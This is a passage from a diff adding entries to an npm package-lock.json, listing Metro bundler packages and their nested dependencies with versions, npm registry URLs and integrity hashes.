"js-yaml": "^3.13.1", + "parse-json": "^4.0.0" + } + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "peer": true + }, + "js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "peer": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "metro-runtime": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-runtime/-/metro-runtime-0.73.8.tgz", + "integrity": "sha512-M+Bg9M4EN5AEpJ8NkiUsawD75ifYvYfHi05w6QzHXaqOrsTeaRbbeLuOGCYxU2f/tPg17wQV97/rqUQzs9qEtA==", + "peer": true, + "requires": { + "@babel/runtime": "^7.0.0", + "react-refresh": "^0.4.0" + } + }, + "parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-aOIos8bujGN93/8Ox/jPLh7RwVnPEysynVFE+fQZyg6jKELEHwzgKdLRFHUgXJL6kylijVSBC4BvN9OmsB48Rw==", + "peer": true, + "requires": { + "error-ex": "^1.3.1", + "json-parse-better-errors": "^1.0.1" + } + } + } + }, + "metro-core": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-core/-/metro-core-0.73.8.tgz", + "integrity": "sha512-Aew4dthbZf8bRRjlYGL3cnai3+LKYTf6mc7YS2xLQRWtgGZ1b/H8nQtBvXZpfRYFcS84UeEQ10vwIf5eR3qPdQ==", + "peer": true, + "requires": { + "lodash.throttle": "^4.1.1", + "metro-resolver": "0.73.8" + } + }, + "metro-file-map": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-file-map/-/metro-file-map-0.73.8.tgz", + "integrity": "sha512-CM552hUO9om02jJdLszOCIDADKNaaeVz8CjYXItndvgr5jmFlQYAR+UMvaDzeT8oYdAV1DXAljma2CS2UBymPg==", + "peer": true, + "requires": { + "abort-controller": "^3.0.0", + "anymatch": "^3.0.3", + "debug": "^2.2.0", + "fb-watchman": "^2.0.0", + "fsevents": "^2.3.2", + "graceful-fs": "^4.2.4", + "invariant": "^2.2.4", + "jest-regex-util": "^27.0.6", + "jest-serializer": "^27.0.6", + "jest-util": "^27.2.0", + "jest-worker": "^27.2.0", + "micromatch": "^4.0.4", + "nullthrows": "^1.1.1", + "walker": "^1.0.7" + }, + "dependencies": { + "@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "peer": true, + "requires": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + } + }, + "@types/yargs": { + "version": "16.0.5", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.5.tgz", + "integrity": "sha512-AxO/ADJOBFJScHbWhq2xAhlWP24rY4aCEG/NFaMvbT3X2MgRsLjhjQwsn0Zi5zn0LG9jUhCCZMeX9Dkuw6k+vQ==", + "peer": true, + "requires": { + "@types/yargs-parser": "*" + } + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "peer": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "peer": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "peer": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "optional": true, + "peer": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "peer": true + }, + "jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "peer": true, + "requires": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + } + }, + "micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "peer": true, + "requires": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + } + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "peer": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "peer": true, + "requires": { + "is-number": "^7.0.0" + } + } + } + }, + "metro-hermes-compiler": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-hermes-compiler/-/metro-hermes-compiler-0.73.8.tgz", + "integrity": "sha512-2d7t+TEoQLk+jyXgBykmAtPPJK2B46DB3qUYIMKDFDDaKzCljrojyVuGgQq6SM1f95fe6HDAQ3K9ihTjeB90yw==", + "peer": true + }, + "metro-inspector-proxy": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-inspector-proxy/-/metro-inspector-proxy-0.73.8.tgz", + "integrity": "sha512-F0QxwDTox0TDeXVRN7ZmI7BknBjPDVKQ1ZeKznFBiMa0SXiD1kzoksfpDbZ6hTEKrhVM9Ep0YQmC7avwZouOnA==", + "peer": true, + "requires": { + "connect": "^3.6.5", + "debug": "^2.2.0", + "ws": "^7.5.1", + "yargs": "^17.5.1" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "peer": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "peer": true, + "requires": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "peer": true + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "peer": true + }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "peer": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "peer": true, + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "peer": true, + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + } + }, + "ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "peer": true, + "requires": {} + }, + "y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "peer": true + }, + "yargs": { + "version": "17.7.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.1.tgz", + "integrity": "sha512-cwiTb08Xuv5fqF4AovYacTFNxk62th7LKJ6BL9IGUpTJrWoU7/7WdQGTP2SjKf1dUNBGzDd28p/Yfs/GI6JrLw==", + "peer": true, + "requires": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + } + }, + "yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "peer": true + } + } + }, + "metro-minify-terser": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-minify-terser/-/metro-minify-terser-0.73.8.tgz", + "integrity": "sha512-pnagyXAoMPhihWrHRIWqCxrP6EJ8Hfugv5RXBb6HbOANmwajn2uQuzeu18+dXaN1yPoDCMCgpg/UA4ibFN5jtQ==", + "peer": true, + "requires": { + "terser": "^5.15.0" + }, + "dependencies": { + "acorn": { + "version": "8.8.2", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.8.2.tgz", + "integrity": "sha512-xjIYgE8HBrkpd/sJqOGNspf8uHG+NOHGOw6a/Urj8taM2EXfdNAH2oFcPeIFfsv3+kz/mJrS5VuMqbNLjCa2vw==", + "peer": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "peer": true + }, + "source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "peer": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "terser": { + "version": "5.16.5", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.16.5.tgz", + "integrity": "sha512-qcwfg4+RZa3YvlFh0qjifnzBHjKGNbtDo9yivMqMFDy9Q6FSaQWSB/j1xKhsoUFJIqDOM3TsN6D5xbrMrFcHbg==", + "peer": true, + "requires": { + "@jridgewell/source-map": "^0.3.2", + "acorn": "^8.5.0", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + } + } + } + }, + "metro-minify-uglify": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-minify-uglify/-/metro-minify-uglify-0.73.8.tgz", + "integrity": "sha512-9wZqKfraVfmtMXdOzRyan+6r1woQXqqa4KeXfVh7+Mxl+5+J0Lmw6EvTrWawsaOEpvpn32q9MfoHC1d8plDJwA==", + "peer": true, + "requires": { + "uglify-es": "^3.1.9" + } + }, + "metro-react-native-babel-preset": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-react-native-babel-preset/-/metro-react-native-babel-preset-0.73.8.tgz", + "integrity": "sha512-spNrcQJTbQntEIqJnCA6yL4S+dzV9fXCk7U+Rm7yJasZ4o4Frn7jP23isu7FlZIp1Azx1+6SbP7SgQM+IP5JgQ==", + "peer": true, + "requires": { + "@babel/core": "^7.20.0", + "@babel/plugin-proposal-async-generator-functions": "^7.0.0", + "@babel/plugin-proposal-class-properties": "^7.0.0", + "@babel/plugin-proposal-export-default-from": "^7.0.0", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.0.0", + "@babel/plugin-proposal-object-rest-spread": "^7.0.0", + "@babel/plugin-proposal-optional-catch-binding": "^7.0.0", + "@babel/plugin-proposal-optional-chaining": "^7.0.0", + "@babel/plugin-syntax-dynamic-import": "^7.0.0", + "@babel/plugin-syntax-export-default-from": "^7.0.0", + "@babel/plugin-syntax-flow": "^7.18.0", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.0.0", + "@babel/plugin-syntax-optional-chaining": "^7.0.0", + "@babel/plugin-transform-arrow-functions": "^7.0.0", + "@babel/plugin-transform-async-to-generator": "^7.0.0", + "@babel/plugin-transform-block-scoping": "^7.0.0", + "@babel/plugin-transform-classes": "^7.0.0", + "@babel/plugin-transform-computed-properties": "^7.0.0", + "@babel/plugin-transform-destructuring": "^7.0.0", + "@babel/plugin-transform-flow-strip-types": "^7.0.0", + "@babel/plugin-transform-function-name": "^7.0.0", + "@babel/plugin-transform-literals": "^7.0.0", + "@babel/plugin-transform-modules-commonjs": "^7.0.0", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.0.0", + "@babel/plugin-transform-parameters": "^7.0.0", + "@babel/plugin-transform-react-display-name": "^7.0.0", + "@babel/plugin-transform-react-jsx": "^7.0.0", + "@babel/plugin-transform-react-jsx-self": "^7.0.0", + "@babel/plugin-transform-react-jsx-source": "^7.0.0", + "@babel/plugin-transform-runtime": "^7.0.0", + "@babel/plugin-transform-shorthand-properties": "^7.0.0", + "@babel/plugin-transform-spread": "^7.0.0", + "@babel/plugin-transform-sticky-regex": "^7.0.0", + "@babel/plugin-transform-template-literals": "^7.0.0", + "@babel/plugin-transform-typescript": "^7.5.0", + "@babel/plugin-transform-unicode-regex": "^7.0.0", + "@babel/template": "^7.0.0", + "react-refresh": "^0.4.0" + } + }, + "metro-react-native-babel-transformer": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/metro-react-native-babel-transformer/-/metro-react-native-babel-transformer-0.73.7.tgz", + "integrity": "sha512-73HW8betjX+VPm3iqsMBe8F/F2Tt+hONO6YJwcF7FonTqQYW1oTz0dOp0dClZGfHUXxpJBz6Vuo7J6TpdzDD+w==", + "peer": true, + "requires": { + "@babel/core": "^7.20.0", + "babel-preset-fbjs": "^3.4.0", + "hermes-parser": "0.8.0", + "metro-babel-transformer": "0.73.7", + "metro-react-native-babel-preset": "0.73.7", + "metro-source-map": "0.73.7", + "nullthrows": "^1.1.1" + }, + "dependencies": { + "metro-babel-transformer": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/metro-babel-transformer/-/metro-babel-transformer-0.73.7.tgz", + "integrity": "sha512-s7UVkwovGTEXYEQrv5hcmSBbFJ9s9lhCRNMScn4Itgj3UMdqRr9lU8DXKEFlJ7osgRxN6n5+eXqcvhE4B1H1VQ==", + "peer": true, + "requires": { + "@babel/core": "^7.20.0", + "hermes-parser": "0.8.0", + "metro-source-map": "0.73.7", + "nullthrows": "^1.1.1" + } + }, + "metro-react-native-babel-preset": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/metro-react-native-babel-preset/-/metro-react-native-babel-preset-0.73.7.tgz", + "integrity": "sha512-RKcmRZREjJCzHKP+JhC9QTCohkeb3xa/DtqHU14U5KWzJHdC0mMrkTZYNXhV0cryxsaVKVEw5873KhbZyZHMVw==", + "peer": true, + "requires": { + "@babel/core": "^7.20.0", + "@babel/plugin-proposal-async-generator-functions": "^7.0.0", + "@babel/plugin-proposal-class-properties": "^7.0.0", + "@babel/plugin-proposal-export-default-from": "^7.0.0", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.0.0", + "@babel/plugin-proposal-object-rest-spread": "^7.0.0", + "@babel/plugin-proposal-optional-catch-binding": "^7.0.0", + "@babel/plugin-proposal-optional-chaining": "^7.0.0", + "@babel/plugin-syntax-dynamic-import": "^7.0.0", + "@babel/plugin-syntax-export-default-from": "^7.0.0", + "@babel/plugin-syntax-flow": "^7.18.0", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.0.0", + "@babel/plugin-syntax-optional-chaining": "^7.0.0", + "@babel/plugin-transform-arrow-functions": "^7.0.0", + "@babel/plugin-transform-async-to-generator": "^7.0.0", + "@babel/plugin-transform-block-scoping": "^7.0.0", + "@babel/plugin-transform-classes": "^7.0.0", + "@babel/plugin-transform-computed-properties": "^7.0.0", + "@babel/plugin-transform-destructuring": "^7.0.0", + "@babel/plugin-transform-flow-strip-types": "^7.0.0", + "@babel/plugin-transform-function-name": "^7.0.0", + "@babel/plugin-transform-literals": "^7.0.0", + "@babel/plugin-transform-modules-commonjs": "^7.0.0", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.0.0", + "@babel/plugin-transform-parameters": "^7.0.0", + "@babel/plugin-transform-react-display-name": "^7.0.0", + "@babel/plugin-transform-react-jsx": "^7.0.0", + "@babel/plugin-transform-react-jsx-self": "^7.0.0", + "@babel/plugin-transform-react-jsx-source": "^7.0.0", + "@babel/plugin-transform-runtime": "^7.0.0", + "@babel/plugin-transform-shorthand-properties": "^7.0.0", + "@babel/plugin-transform-spread": "^7.0.0", + "@babel/plugin-transform-sticky-regex": "^7.0.0", + "@babel/plugin-transform-template-literals": "^7.0.0", + "@babel/plugin-transform-typescript": "^7.5.0", + "@babel/plugin-transform-unicode-regex": "^7.0.0", + "@babel/template": "^7.0.0", + "react-refresh": "^0.4.0" + } + } + } + }, + "metro-resolver": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-resolver/-/metro-resolver-0.73.8.tgz", + "integrity": "sha512-GiBWont7/OgAftkkj2TiEp+Gf1PYZUk8xV4MbtnQjIKyy3MlGY3GbpMQ1BHih9GUQqlF0n9jsUlC2K5P0almXQ==", + "peer": true, + "requires": { + "absolute-path": "^0.0.0" + } + }, + "metro-runtime": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/metro-runtime/-/metro-runtime-0.73.7.tgz", + "integrity": "sha512-2fxRGrF8FyrwwHY0TCitdUljzutfW6CWEpdvPilfrs8p0PI5X8xOWg8ficeYtw+DldHtHIAL2phT59PqzHTyVA==", + "peer": true, + "requires": { + "@babel/runtime": "^7.0.0", + "react-refresh": "^0.4.0" + } + }, + "metro-source-map": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/metro-source-map/-/metro-source-map-0.73.7.tgz", + "integrity": "sha512-gbC/lfUN52TtQhEsTTA+987MaFUpQlufuCI05blLGLosDcFCsARikHsxa65Gtslm/rG2MqvFLiPA5hviONNv9g==", + "peer": true, + "requires": { + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "invariant": "^2.2.4", + "metro-symbolicate": "0.73.7", + "nullthrows": "^1.1.1", + "ob1": "0.73.7", + "source-map": "^0.5.6", + "vlq": "^1.0.0" + }, + "dependencies": { + "metro-symbolicate": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/metro-symbolicate/-/metro-symbolicate-0.73.7.tgz", + "integrity": "sha512-571ThWmX5o8yGNzoXjlcdhmXqpByHU/bSZtWKhtgV2TyIAzYCYt4hawJAS5+/qDazUvjHdm8BbdqFUheM0EKNQ==", + "peer": true, + "requires": { + "invariant": "^2.2.4", + "metro-source-map": "0.73.7", + "nullthrows": "^1.1.1", + "source-map": "^0.5.6", + "through2": "^2.0.1", + "vlq": "^1.0.0" + } + } + } + }, + "metro-symbolicate": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-symbolicate/-/metro-symbolicate-0.73.8.tgz", + "integrity": "sha512-xkBAcceYYp0GGdCCuMzkCF1ejHsd0lYlbKBkjSRgM0Nlj80VapPaSwumYoAvSaDxcbkvS7/sCjURGp5DsSFgRQ==", + "peer": true, + "requires": { + "invariant": "^2.2.4", + "metro-source-map": "0.73.8", + "nullthrows": "^1.1.1", + "source-map": "^0.5.6", + "through2": "^2.0.1", + "vlq": "^1.0.0" + }, + "dependencies": { + "metro-source-map": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-source-map/-/metro-source-map-0.73.8.tgz", + "integrity": "sha512-wozFXuBYMAy7b8BCYwC+qoXsvayVJBHWtSTlSLva99t+CoUSG9JO9kg1umzbOz28YYPxKmvb/wbnLMkHdas2cA==", + "peer": true, + "requires": { + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "invariant": "^2.2.4", + "metro-symbolicate": "0.73.8", + "nullthrows": "^1.1.1", + "ob1": "0.73.8", + "source-map": "^0.5.6", + "vlq": "^1.0.0" + } + }, + "ob1": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/ob1/-/ob1-0.73.8.tgz", + "integrity": "sha512-1F7j+jzD+edS6ohQP7Vg5f3yiIk5i3x1uLrNIHOmLHWzWK1t3zrDpjnoXghccdVlsU+UjbyURnDynm4p0GgXeA==", + "peer": true + } + } + }, + "metro-transform-plugins": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-transform-plugins/-/metro-transform-plugins-0.73.8.tgz", + "integrity": "sha512-IxjlnB5eA49M0WfvPEzvRikK3Rr6bECUUfcZt/rWpSphq/mttgyLYcHQ+VTZZl0zHolC3cTLwgoDod4IIJBn1A==", + "peer": true, + "requires": { + "@babel/core": "^7.20.0", + "@babel/generator": "^7.20.0", + "@babel/template": "^7.0.0", + "@babel/traverse": "^7.20.0", + "nullthrows": "^1.1.1" + } + }, + "metro-transform-worker": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-transform-worker/-/metro-transform-worker-0.73.8.tgz", + "integrity": "sha512-B8kR6lmcvyG4UFSF2QDfr/eEnWJvg0ZadooF8Dg6m/3JSm9OAqfSoC0YrWqAuvtWImNDnbeKWN7/+ns44Hv6tg==", + "peer": true, + "requires": { + "@babel/core": "^7.20.0", + "@babel/generator": "^7.20.0", + "@babel/parser": "^7.20.0", + "@babel/types": "^7.20.0", + "babel-preset-fbjs": "^3.4.0", + "metro": "0.73.8", + "metro-babel-transformer": "0.73.8", + "metro-cache": "0.73.8", + "metro-cache-key": "0.73.8", + "metro-hermes-compiler": "0.73.8", + "metro-source-map": "0.73.8", + "metro-transform-plugins": "0.73.8", + "nullthrows": "^1.1.1" + }, + "dependencies": { + "metro-source-map": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-source-map/-/metro-source-map-0.73.8.tgz", + "integrity": "sha512-wozFXuBYMAy7b8BCYwC+qoXsvayVJBHWtSTlSLva99t+CoUSG9JO9kg1umzbOz28YYPxKmvb/wbnLMkHdas2cA==", + "peer": true, + "requires": { + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "invariant": "^2.2.4", + "metro-symbolicate": "0.73.8", + "nullthrows": "^1.1.1", + "ob1": "0.73.8", + "source-map": "^0.5.6", + "vlq": "^1.0.0" + } + }, + "ob1": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/ob1/-/ob1-0.73.8.tgz", + "integrity": "sha512-1F7j+jzD+edS6ohQP7Vg5f3yiIk5i3x1uLrNIHOmLHWzWK1t3zrDpjnoXghccdVlsU+UjbyURnDynm4p0GgXeA==", + "peer": true + } + } + }, + "micromatch": { + "version": "2.3.11", + "resolved": 